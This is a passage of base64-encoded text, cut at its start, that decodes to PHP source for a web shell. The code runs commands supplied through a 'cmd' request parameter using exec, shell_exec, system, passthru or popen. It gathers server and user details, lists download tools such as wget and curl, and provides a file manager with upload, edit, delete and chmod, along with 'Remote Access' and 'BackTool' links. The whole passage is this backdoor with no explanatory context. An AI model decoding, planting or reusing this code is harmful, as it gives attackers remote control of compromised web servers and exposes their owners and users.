ZuYnNwO3dyaXR0ZW4hPC9mb250PiI7DQogICB9DQp9DQoNCi8vIEluZm9ybWE/P2VzDQogJGNtZGdldCA9ICcnOw0KIGlmICghZW1wdHkoJF9HRVRbJ2NtZCddKSkgeyAkY21kZ2V0ID0gQCRfR0VUWydjbWQnXTsgfQ0KIGlmICghZW1wdHkoJF9QT1NUWydjbWQnXSkpIHsgJGNtZGdldCA9IEAkX1BPU1RbJ2NtZCddOyB9DQogJGNtZGdldCA9IGh0bWxzcGVjaWFsY2hhcnMoJGNtZGdldCk7DQogZnVuY3Rpb24gYXNkYWRzKCkgew0KICAkYXNkYWRzID0gJyc7DQogIGlmIChAZmlsZV9leGlzdHMoIi91c3IvYmluL3dnZXQiKSkgeyAkYXNkYWRzIC49ICJ3Z2V0Jm5ic3A7IjsgfQ0KICBpZiAoQGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9mZXRjaCIpKSB7ICRhc2RhZHMgLj0gImZldGNoJm5ic3A7IjsgfQ0KICBpZiAoQGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9jdXJsIikpIHsgJGFzZGFkcyAuPSAiY3VybCZuYnNwOyI7IH0NCiAgaWYgKEBmaWxlX2V4aXN0cygiL3Vzci9iaW4vR0VUIikpIHsgJGFzZGFkcyAuPSAiR0VUJm5ic3A7IjsgfQ0KICBpZiAoQGZpbGVfZXhpc3RzKCIvdXNyL2Jpbi9seW54IikpIHsgJGFzZGFkcyAuPSAibHlueCZuYnNwOyI7IH0NCiAgcmV0dXJuICRhc2RhZHM7DQogfQ0KDQoNCmVjaG8gIjxmaWVsZHNldCBzdHlsZT1cImJvcmRlcjogMXB4IHNvbGlkICMwMDAwMDA7IHBhZGRpbmc6IDJcIj4iOw0KZWNobyAiPGxlZ2VuZD5JbmZvcm1hPz9lczwvbGVnZW5kPiI7DQpwcmludCAiPGNlbnRlcj48dGFibGU+IjsNCnByaW50ICI8dHI+PHRkPlxuIjsNCg0KY3IoIklEIiwiMHduM2QiKTsNCiRQICAgICAgID0gQGdldGN3ZCgpOw0KJElQICAgICAgPSBAZ2V0ZW52KCJTRVJWRVJfQUREUiIpOw0KJFVJRCAgICAgPSBjcnNoZWxsMWV4ZWMoImlkIik7DQokUCAgID0gQGdldGN3ZCgpOw0KJElQICA9IEBnZXRlbnYoIlNFUlZFUl9BRERSIik7DQokVUlEID0gY3JzaGVsbDFleGVjKCJpZCIpOw0KY3IoIlNBRkUiLEBzYWZlbW9kZSgpPyJPTiI6Ik9GRiIpOw0KY3IoIk9TIixAUEhQX09TKTsNCmNyKCJVTkFNRSIsQHBocF91bmFtZSgpKTsNCmNyKCJTRVJWRVIiLCgkSVApPyRJUDoiLSIpOw0KY3IoIlVTRVIiLEBnZXRfY3VycmVudF91c2VyKCkpOw0KY3IoIlVJRCIsKCRVSUQpPyRVSUQ6InVpZD0iLkBnZXRteXVpZCgpLiIgZ2lkPSIuQGdldG15Z2lkKCkpOw0KY3IoIkRJUiIsJFApOw0KY3IoIlBFUk0iLChAaXNfd3JpdGFibGUoJFApKT8iW1ddIjoiW1JdIik7DQpjcigiSEREIiwiVXNlZDogIi5oZGQoInVzZWQiKS4iIEZyZWU6ICIuaGRkKCJmcmVlIikuIiBUb3RhbDogIi5oZGQoInRvdGFsIikpOw0KY3IoIkRJU0ZVTkMiLEBnZXRkaXNmdW5jKCkpOw0KZnVuY3Rpb24gY3IoJHQsJGMpIHsgZWNobyAiPGZvbnQgZmFjZT0ndmVyZGFuYScgc2l6ZT0nMic+PGI+JHQ6PC9iPiAiOyBlY2hvIChpc19hcnJheSgkYykpP2pvaW4oIiAiLCRjKTokYzsgZWNobyAiPC9mb250Pjxicj5cbiI7IH0NCmZ1bmN0aW9uIHNhZmVtb2RlKCkgeyByZXR1cm4gKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBPUiBlcmVnaSgib24iLEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgKSA/IFRSVUUgOiBGQUxTRTsgfQ0KZnVuY3Rpb24gZ2V0ZGlzZnVuYygpIHsgJHJleiA9IGV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTsgcmV0dXJuICghZW1wdHkoJHJleikpPyRyZXo6YXJyYXkoKTsgfQ0KZnVuY3Rpb24gZW5hYmxlZCgkZnVuYykgeyByZXR1cm4gKGZ1bmN0aW9uX2V4aXN0cygkZnVuYykgJiYgaXNfY2FsbGFibGUoJGZ1bmMpICYmICFpbl9hcnJheSgkZnVuYyxnZXRkaXNmdW5jKCkpKSA/IFRSVUUgOiBGQUxTRTsgfQ0KZnVuY3Rpb24gY3JzaGVsbDFleGVjKCRjbWQpIHsNCiAgaWYgKGVuYWJsZWQoImV4ZWMiKSkgeyBleGVjKCRjbWQsJG8pOyAkcmV6ID0gam9pbigiXHJcbiIsJG8pOyB9DQogIGVsc2VpZiAoZW5hYmxlZCgic2hlbGxfZXhlYyIpKSB7ICRyZXogPSBzaGVsbF9leGVjKCRjbWQpOyB9DQogIGVsc2VpZiAoZW5hYmxlZCgic3lzdGVtIikpIHsgQG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJGNtZCk7ICRyZXogPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9lbmRfY2xlYW4oKTsgfSAgDQogIGVsc2VpZiAoZW5hYmxlZCgicGFzc3RocnUiKSkgeyBAb2Jfc3RhcnQoKTsgcGFzc3RocnUoJGNtZCk7ICRyZXogPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9lbmRfY2xlYW4oKTsgfQ0KICBlbHNlaWYgKGVuYWJsZWQoInBvcGVuIikgJiYgaXNfcmVzb3VyY2UoJGggPSBwb3BlbigkY21kLicgMj4mMScsICdyJykpICkgeyB3aGlsZSAoICFmZW9mKCRoKSApIHsgJHJleiAuPSBmcmVhZCgkaCwgMjA5Nik7ICB9IHBjbG9zZSgkaCk7IH0NCiAgZWxzZSB7ICRyZXogPSAiRXJyb3IhIjsgfQ0KICByZXR1cm4gJHJlejsNCn0NCmZ1bmN0aW9uIHZzaXplKCRzaXplKSB7DQogIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHsgcmV0dXJuIEZBTFNFOyB9DQogIGVsc2Ugew0KICAgIGlmICggJHNpemUgPj0gMTA3Mzc0MTgyNCApIHsgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjsgfQ0KICAgIGVsc2VpZiAoICRzaXplID49IDEwNDg1NzYgKSB7ICRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7IH0NCiAgICBlbHNlaWYgKCAkc2l6ZSA+PSAxMDI0ICkgeyAkc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiOyB9DQogICAgZWxzZSB7ICRzaXplID0gJHNpemUgLiAiIEIiOyB9DQogICAgcmV0dXJuICRzaXplOw0KICB9DQp9DQpmdW5jdGlvbiBoZGQoJHR5cGUpIHsNCiAgJFAgPSBAZ2V0Y3dkKCk7ICRUID0gQGRpc2tfdG90YWxfc3BhY2UoJFApOyAkRiA9IEBkaXNrX2ZyZWVfc3BhY2UoJFApOyAkVSA9ICRUIC0gJFU7DQogICRoZGRzcGFjZSA9IGFycmF5KCJ0b3RhbCIgPT4gdnNpemUoJFQpLCAiZnJlZSIgID0+IHZzaXplKCRGKSwgInVzZWQiICA9PiB2c2l6ZSgkVSkpOw0KICByZXR1cm4gJGhkZHNwYWNlWyR0eXBlXTsNCn0NCg0KcHJpbnQgIjwvdGQ+PC90cj4iOw0KcHJpbnQgIjwvdGFibGU+PC9jZW50ZXI+PGhyPjxicj4iOw0KDQplY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgbmFtZT1cImNtZFwiIGFjdGlvbj1cInskZnN0cmluZ30mYW1wO2FjdGlvbj1jbWQmYW1wO2NoZGlyPSRjaGRpclwiPiI7DQplY2hvICI8dGFibGUgYm9yZGVyPVwiMFwiIGNlbGxwYWRkaW5nPVwiMFwiIGNlbGxzcGFjaW5nPVwiMFwiIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgZm9udC1mYW1pbHk6IFRhaG9tYTsgZm9udC1zaXplOiAxMHB4XCIgd2lkdGg9XCIxMDAlXCI+IjsNCg0KIGlmIChzdHJ0b3VwcGVyKHN1YnN0cigkT1MsIDAsMykgIT0gJ1dJTicpKSB7DQogICRNZXRob2RzID0gYXNkYWRzKCk7DQogIGlmICgkTWV0aG9kcyA9PSAnJykgeyAkTWV0aG9kcyA9ICI/Pz8iOyB9DQogIGVjaG8gIjx0cj4iOw0KICBlY2hvICI8dGQgd2lkdGg9XCI4JVwiPiI7DQogIGVjaG8gIjxwIGFsaWduPVwicmlnaHRcIj48Yj5NZXRob2RzOiZuYnNwOzwvYj48L3RkPjwvcD4iOw0KICBlY2hvICI8dGQgd2lkdGg9XCI5MiVcIj4mbmJzcDt7JE1ldGhvZHN9PC90ZD4iOw0KICBlY2hvICI8L3RyPiI7DQogfQ0KZWNobyAiPHRyPiI7DQplY2hvICI8dGQgd2lkdGg9XCI4JVwiPiI7DQplY2hvICI8cCBhbGlnbj1cInJpZ2h0XCI+PGI+Q29tbWFuZDombmJzcDs8L2I+PC90ZD48L3A+IjsNCmVjaG8gIjx0ZCB3aWR0aD1cIjkyJVwiPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCI3MFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cInskY21kZ2V0fVwiIHN0eWxlPVwiZm9udC1mYW1pbHk6IFRhaG9tYTsgZm9udC1zaXplOiAxMCBweDsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cImFjdGlvblwiIHZhbHVlPVwiU2VuZFwiIHN0eWxlPVwiZm9udC1mYW1pbHk6IFRhaG9tYTsgZm9udC1zaXplOiAxMCBweDsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMFwiPjwvdGQ+IjsNCmVjaG8gIjwvdHI+IjsNCmVjaG8gIjwvdGFibGU+IjsNCmVjaG8gIjwvZmllbGRzZXQ+PC9mb3JtPiI7DQovLyBEaXINCg0KZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cInskZnN0cmluZ30mYW1wO2FjdGlvbj11cGxvYWQmYW1wO2NoZGlyPSRjaGRpclwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCI+IjsNCmVjaG8gIjwhLS13ZWJib3QgYm90PVwiRmlsZVVwbG9hZFwiIHUtZmlsZT1cIl9wcml2YXRlL2Zvcm1fcmVzdWx0cy5jc3ZcIiBzLWZvcm1hdD1cIlRFWFQvQ1NWXCIgcy1sYWJlbC1maWVsZHM9XCJUUlVFXCIgLS0+PGZpZWxkc2V0IHN0eWxlPVwiYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMDsgcGFkZGluZzogMlwiPiI7DQppZiAoaXNfd3JpdGFibGUoIiRjaGRpciIpKSB7DQogaWYgKHN0cnRvdXBwZXIoc3Vic3RyKCRPUywgMCwzKSA9PSAnV0lOJykpIHsNCiAgZWNobyAiPGxlZ2VuZD5EaXImbmJzcDs8Yj5ZRVM8L2I+OiZuYnNwO3skY2hkaXJ9Jm5ic3A7LSZuYnNwOzxhIGhyZWY9XCIjW05ldyBEaXJdXCIgb25jbGljaz1cIk1rZGlyKCd7JGNoZGlyfScpO1wiPltOZXcgRGlyXTwvYT4mbmJzcDs8YSBocmVmPVwiI1tOZXcgRmlsZV1cIiBvbmNsaWNrPVwiTmV3ZmlsZSgneyRjaGRpcn0nKVwiPltOZXcgRmlsZV08L2E+Jm5ic3A7PGEgaHJlZj1cInskZnN0cmluZ30mYW1wO2FjdGlvbj1jbWQmYW1wO2NoZGlyPXskY2hkaXJ9JmFtcDtjbWQ9JG5ld3VzZXJcIj5bUmVtb3RlIEFjY2Vzc108L2E+PC9sZWdlbmQ+IjsNCiB9IGVsc2Ugew0KICAgIGVjaG8gIjxsZWdlbmQ+RGlyJm5ic3A7PGI+WUVTPC9iPjombmJzcDt7JGNoZGlyfSZuYnNwOy0mbmJzcDs8YSBocmVmPVwiI1tOZXcgRGlyXVwiIG9uY2xpY2s9XCJNa2RpcigneyRjaGRpcn0nKTtcIj5bTmV3IERpcl08L2E+Jm5ic3A7PGEgaHJlZj1cIiNbTmV3IEZpbGVdXCIgb25jbGljaz1cIk5ld2ZpbGUoJ3skY2hkaXJ9JylcIj5bTmV3IEZpbGVdPC9hPiZuYnNwOzxhIGhyZWY9XCJ7JGZzdHJpbmd9JmFtcDthY3Rpb249YmFja3Rvb2wmYW1wO2NoZGlyPXskY2hkaXJ9JmFtcDt3cml0ZT15ZXNcIj5bQmFja1Rvb2xdPC9hPjwvbGVnZW5kPiI7DQogICB9IA0KfQ0KZWxzZSB7DQppZiAoc3RydG91cHBlcihzdWJzdHIoJE9TLCAwLDMpID09ICdXSU4nKSkgew0KICBlY2hvICI8bGVnZW5kPkRpciZuYnNwO05POiZuYnNwO3skY2hkaXJ9Jm5ic3A7LSZuYnNwOzxhIGhyZWY9XCIjW05ldyBEaXJdXCIgb25jbGljaz1cIk1rZGlyKCd7JGNoZGlyfScpO1wiPltOZXcgRGlyXTwvYT4mbmJzcDs8YSBocmVmPVwiI1tOZXcgRmlsZV1cIiBvbmNsaWNrPVwiTmV3ZmlsZSgneyRjaGRpcn0nKVwiPltOZXcgRmlsZV08L2E+Jm5ic3A7PGEgaHJlZj1cInskZnN0cmluZ30mYW1wO2FjdGlvbj1jbWQmYW1wO2NoZGlyPXskY2hkaXJ9JmFtcDtjbWQ9eyRuZXd1c2VyfVwiPltSZW1vdGUgQWNjZXNzXTwvYT48L2xlZ2VuZD4iOw0KIH0gZWxzZSB7DQogICAgZWNobyAiPGxlZ2VuZD5EaXImbmJzcDtOTzombmJzcDt7JGNoZGlyfSZuYnNwOy0mbmJzcDs8YSBocmVmPVwiI1tOZXcgRGlyXVwiIG9uY2xpY2s9XCJNa2RpcigneyRjaGRpcn0nKTtcIj5bTmV3IERpcl08L2E+Jm5ic3A7PGEgaHJlZj1cIiNbTmV3IEZpbGVdXCIgb25jbGljaz1cIk5ld2ZpbGUoJ3skY2hkaXJ9JylcIj5bTmV3IEZpbGVdPC9hPiZuYnNwOzxhIGhyZWY9XCJ7JGZzdHJpbmd9JmFtcDthY3Rpb249YmFja3Rvb2wmYW1wO2NoZGlyPXskY2hkaXJ9JmFtcDt3cml0ZT1ub1wiPltCYWNrVG9vbF08L2E+PC9sZWdlbmQ+IjsNCiAgIH0gDQp9DQoNCmlmIChAISRoYW5kbGUgPSBvcGVuZGlyKCIkY2hkaXIiKSkgew0KIGVjaG8gIiZuYnNwO0kmbmJzcDtjb3VsZCZuYnNwO25vdCZuYnNwO2VudGVycyZuYnNwO2luJm5ic3A7dGhlJm5ic3A7ZGlyZWN0b3J5LCZuYnNwOzxhIGhyZWY9XCJ7JGZzdHJpbmd9XCI+Y2xpY2sgaGVyZSE8L2E+Jm5ic3A7Zm9yJm5ic3A7cmV0dXJuJm5ic3A7dG8mbmJzcDt0aGUmbmJzcDtvcmlnaW5hbCZuYnNwO2RpcmVjdG9yeSE8L2JyPiI7DQp9DQplbHNlIHsNCmVjaG8gIiAgPHRhYmxlIGJvcmRlcj1cIjBcIiBjZWxscGFkZGluZz1cIjBcIiBjZWxsc3BhY2luZz1cIjBcIiBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGZvbnQtc2l6ZTogMTBweFwiIHdpZHRoPVwiMTAwJVwiPiI7DQplY2hvICIgICAgPHRyPiI7DQplY2hvICIgICAgICA8dGQgd2lkdGg9XCIxMDAlXCIgc3R5bGU9XCJmb250LWZhbWlseTogVGFob21hOyBmb250LXNpemU6IDEwcHhcIiBjb2xzcGFuPVwiNFwiPiZuYnNwO1VwbG9hZDoiOw0KZWNobyAiICAgICAgPGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cInVzZXJmaWxlXCIgc2l6ZT1cIjkxXCIgc3R5bGU9XCJmb250LWZhbWlseTogVGFob21hOyBmb250LXNpemU6IDEwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IGJvcmRlci13aWR0aDogMVwiPiI7DQplY2hvICIgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU2VuZFwiIG5hbWU9XCJCMVwiIHN0eWxlPVwiZm9udC1mYW1pbHk6IFRhaG9tYTsgZm9udC1zaXplOiAxMHB4OyBib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwXCI+PC90ZD4iOw0KZWNobyAiICAgIDwvdHI+IjsNCmVjaG8gIiAgICA8dHI+IjsNCmVjaG8gIiAgICAgIDx0ZCB3aWR0aD1cIjEwMCVcIiBzdHlsZT1cImZvbnQtZmFtaWx5OiBUYWhvbWE7IGZvbnQtc2l6ZTogMTBweFwiIGNvbHNwYW49XCI0XCI+Jm5ic3A7PC90ZD4iOw0KZWNobyAiICAgIDwvdHI+IjsNCmVjaG8gIiAgICA8dHI+IjsNCmVjaG8gIiAgICAgIDx0ZCB3aWR0aD1cIjEwMCVcIiBzdHlsZT1cImZvbnQtZmFtaWx5OiBUYWhvbWE7IGZvbnQtc2l6ZTogMTBweFwiIGNvbHNwYW49XCI0XCI+IjsNCmlmIChAISRtc2cpIHsNCiBlY2hvICIgICAgICA8cCBhbGlnbj1cImxlZnRcIj5NZXNzYWdlczwvdGQ+IjsNCn0gZWxzZSB7DQogICBlY2hvICIgICAgICA8cCBhbGlnbj1cImxlZnRcIj4kbXNnPC90ZD4iOw0KICB9DQplY2hvICIgICAgPC90cj4iOw0KZWNobyAiICAgIDx0cj4iOw0KZWNobyAiICAgICAgPHRkIHdpZHRoPVwiMTAwJVwiIGNvbHNwYW49XCI0XCI+Jm5ic3A7PC90ZD4iOw0KZWNobyAiICAgIDwvdHI+IjsNCmVjaG8gIiAgICA8dHI+IjsNCmVjaG8gIiAgICAgIDx0ZCB3aWR0aD1cIjklXCI+Jm5ic3A7UGVybXM8L3RkPiI7DQplY2hvICIgICAgICA8dGQgd2lkdGg9XCI0OSVcIj4mbmJzcDtGaWxlIDwvdGQ+IjsNCmVjaG8gIiAgICAgIDx0ZCB3aWR0aD1cIjEwJVwiPiZuYnNwO1NpemUgPC90ZD4iOw0KZWNobyAiICAgICAgPHRkIHdpZHRoPVwiMzIlXCI+Jm5ic3A7Q29tbWFuZHM8L3RkPiI7DQplY2hvICIgICAgPC90cj4iOw0KJGNvbG9ybiA9IDA7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KICAgICAgICBpZiAoJGZpbGUgIT0gJy4nKSB7DQogICAgICAgICAgICBpZiAoJGNvbG9ybiA9PSAwKSB7DQogICAgICAgICAgICAgJGNvbG9yID0gInN0eWxlPVwiYmFja2dyb3VuZC1jb2xvcjogI0ZGQ0M2NlwiIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJGNvbG9ybiA9PSAxKSB7DQogICAgICAgICAgICAgJGNvbG9yID0gInN0eWxlPVwiYmFja2dyb3VuZC1jb2xvcjogI0MwQzBDMFwiIjsNCiAgICAgICAgICAgIH0gICAgICAgIA0KICAgICAgICAgICAgaWYgKEBpc19kaXIoIiRjaGRpciIuIiRmaWxlIikpIHsNCiAgICAgICAgICAgICAkZmlsZSA9ICRmaWxlLicvJzsNCiAgICAgICAgICAgICAkbW9kZSA9ICdjaGRpcic7DQogICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICRtb2RlID0gJ2VkaXQnOyANCiAgICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoQHN1YnN0cigiJGNoZGlyIiwgc3RybGVuKCRjaGRpcikgLTEsIDEpICE9ICcvJykgew0KICAgICAgICAgICAgICAkY2hkaXIgLj0gJy8nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRmaWxlID09ICcuLi8nKSB7DQogICAgICAgICAgICAgJGxlbnBhdGggPSBzdHJsZW4oJGNoZGlyKTsgJGJhcmFzID0gMDsNCiAgICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8ICRsZW5wYXRoOyRpKyspIHsgaWYgKCRjaGRpcnskaX0gPT0gJy8nKSB7ICRiYXJhcysrOyB9IH0NCiAgICAgICAgICAgICAkY2hkaXJfID0gZXhwbG9kZSgiLyIsICRjaGRpcik7DQogICAgICAgICAgICAgJGNoZGlycG94ID0gc3RyX3JlcGxhY2UoJGNoZGlyX1skYmFyYXMtMV0uJy8nLCAiIiwgJGNoZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRwZXJtcyA9IEBmaWxlcGVybXMgKCIkY2hkaXIiLiIkZmlsZSIpOw0KICAgICAgICAgICAgaWYgKCRwZXJtcyA9PSAnJykgew0KICAgICAgICAgICAgICRwZXJtcyA9ICc/Pz8nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHNpemUgPSBAZmlsZXNpemUgKCIkY2hkaXIiLiIkZmlsZSIpOyANCiAgICAgICAgICAgICRzaXplID0gJHNpemUgLyAxMDI0Ow0KICAgICAgICAgICAgJHNpemUgPSBleHBsb2RlKCIuIiwgJHNpemUpOw0KICAgICAgICAgICAgaWYgKEAkc2l6ZVsxXSAhPSAnJykgew0KICAgICAgICAgICAgICRzaXplID0gJHNpemVbMF0uJy4nLkBzdWJzdHIoIiRzaXplWzFdIiwgMCwgMik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgJHNpemUgPSAkc2l6ZVswXTsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJHNpemUgPT0gMCkgew0KICAgICAgICAgICAgIGlmICgkbW9kZSA9PSAnY2hkaXInKSB7DQogICAgICAgICAgICAgICRzaXplID0gJz8/Pyc7DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPHRyPiI7DQoJICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjklXCIgJGNvbG9yPiZuYnNwOyRwZXJtczwvdGQ+IjsNCiAgICAgICAgICAgIGlmIChAaXNfd3JpdGFibGUgKCIkY2hkaXIiLiIkZmlsZSIpKSB7DQogICAgICAgICAgICAgaWYgKCRtb2RlID09ICdjaGRpcicpIHsNCiAgICAgICAgICAgICAgaWYgKCRmaWxlID09ICcuLi8nKSB7DQogICAgICAgICAgICAgICBlY2hvICI8dGQgd2lkdGg9XCI0OSVcIiAkY29sb3I+Jm5ic3A7PGI+PGEgaHJlZj1cInskZnN0cmluZ30mYW1wO2NoZGlyPSRjaGRpcnBveFwiPiRmaWxlPC9hPjwvYj48L3RkPiI7DQogICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjQ5JVwiICRjb2xvcj4mbmJzcDs8Yj48YSBocmVmPVwieyRmc3RyaW5nfSZhbXA7Y2hkaXI9eyRjaGRpcn17JGZpbGV9XCI+JGZpbGU8L2E+PC9iPjwvdGQ+IjsgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0gZWxzZSB7DQoJCWlmIChpc19yZWFkYWJsZSgiJGNoZGlyIi4iJGZpbGUiKSkgew0KICAgICAgICAgICAgICAgICBlY2hvICI8dGQgd2lkdGg9XCI0OSVcIiAkY29sb3I+Jm5ic3A7PGI+PGEgaHJlZj1cInskZnN0cmluZ30mYW1wO2FjdGlvbj1lZGl0JmFtcDtjaGRpcj0kY2hkaXImYW1wO2ZpbGU9JGZpbGVcIj4kZmlsZTwvYT48L2I+PC90ZD4iOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgZWNobyAiPHRkIHdpZHRoPVwiNDklXCIgJGNvbG9yPiZuYnNwOzxiPiRmaWxlPC9iPjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gDQogICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgIGlmICgkbW9kZSA9PSAnY2hkaXInKSB7DQogICAgICAgICAgICAgIGlmICgkZmlsZSA9PSAnLi4vJykgew0KICAgICAgICAgICAgICAgZWNobyAiPHRkIHdpZHRoPVwiNDklXCIgJGNvbG9yPiZuYnNwOzxhIGhyZWY9XCJ7JGZzdHJpbmd9JmFtcDtjaGRpcj0kY2hkaXJwb3hcIj4kZmlsZTwvYT48L3RkPiI7DQogICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjQ5JVwiICRjb2xvcj4mbmJzcDs8YSBocmVmPVwieyRmc3RyaW5nfSZhbXA7Y2hkaXI9eyRjaGRpcn17JGZpbGV9XCI+JGZpbGU8L2E+PC90ZD4iOyAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICB9IGVsc2Ugew0KCQlpZiAoQGlzX3JlYWRhYmxlKCIkY2hkaXIiLiIkZmlsZSIpKSB7DQogICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjQ5JVwiICRjb2xvcj4mbmJzcDs8YSBocmVmPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPWVkaXQmYW1wO2NoZGlyPSRjaGRpciZhbXA7ZmlsZT0kZmlsZVwiPiRmaWxlPC9hPjwvdGQ+IjsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjQ5JVwiICRjb2xvcj4mbmJzcDskZmlsZTwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjEwJVwiICRjb2xvcj4mbmJzcDskc2l6ZSZuYnNwO0tCPC90ZD4iOw0KICAgICAgICAgICAgaWYgKCRtb2RlID09ICdlZGl0Jykgew0KICAgICAgICAgICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjMyJVwiICRjb2xvcj4mbmJzcDs8YSBocmVmPVwiI3skZmlsZX1cIiBvbmNsaWNrPVwiUmVuYW1lKCd7JGNoZGlyfScsICd7JGZpbGV9JywgJ3skbW9kZX0nKVwiPltSZW5hbWVdPC9hPiZuYnNwOzxhIGhyZWY9XCJ7JGZzdHJpbmd9JmFtcDthY3Rpb249ZGVsJmFtcDtjaGRpcj17JGNoZGlyfSZhbXA7ZmlsZT17JGZpbGV9JmFtcDt0eXBlPWZpbGVcIj5bRGVsXTwvYT4mbmJzcDs8YSBocmVmPVwiI3skZmlsZX1cIiBvbmNsaWNrPVwiQ2hNb2QoJyRjaGRpcicsICckZmlsZScpXCI+W0NobW9kXTwvYT4mbmJzcDs8YSBocmVmPVwiI3skZmlsZX1cIiBvbmNsaWNrPVwiQ29weSgneyRjaGRpcn0nLCAneyRmaWxlfScpXCI+W0NvcHldPC9hPjwvdGQ+IjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICBlY2hvICI8dGQgd2lkdGg9XCIzMiVcIiAkY29sb3I+Jm5ic3A7PGEgaHJlZj1cIiN7JGZpbGV9XCIgb25jbGljaz1cIlJlbmFtZSgneyRjaGRpcn0nLCAneyRmaWxlfScsICd7JG1vZGV9JylcIj5bUmVuYW1lXTwvYT4mbmJzcDs8YSBocmVmPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPWRlbCZhbXA7Y2hkaXI9eyRjaGRpcn0mYW1wO2ZpbGU9eyRmaWxlfSZhbXA7dHlwZT1kaXJcIj5bRGVsXTwvYT4mbmJzcDs8YSBocmVmPVwiI3skZmlsZX1cIiBvbmNsaWNrPVwiQ2hNb2QoJyRjaGRpcicsICckZmlsZScpXCI+W0NobW9kXTwvYT4mbmJzcDtbQ29weV08L3RkPiI7DQogICAgICAgICAgICAgIH0gICANCiAgICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgICAgIGlmICgkY29sb3JuID09IDApIHsNCiAgICAgICAgICAgICAkY29sb3JuID0gMTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJGNvbG9ybiA9PSAxKSB7DQogICAgICAgICAgICAgJGNvbG9ybiA9IDA7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgY2xvc2VkaXIoJGhhbmRsZSk7DQp9DQplY2hvICcNCiAgPC90YWJsZT4NCiAgPC9maWVsZHNldD48L2Zvcm0+DQogIDxwIGFsaWduPSJjZW50ZXIiPg0KICAgIDxhIGhyZWY9Imh0dHA6Ly92YWxpZGF0b3IudzMub3JnL2NoZWNrP3VyaT1yZWZlcmVyIj48aW1nDQogICAgICAgIHNyYz0iaHR0cDovL3d3dy53My5vcmcvSWNvbnMvdmFsaWQtaHRtbDQwMSINCiAgICAgICAgYWx0PSJWYWxpZCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsIiBoZWlnaHQ9IjMxIiB3aWR0aD0iODgiPjwvYT4NCiAgPC9wPg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQonOw==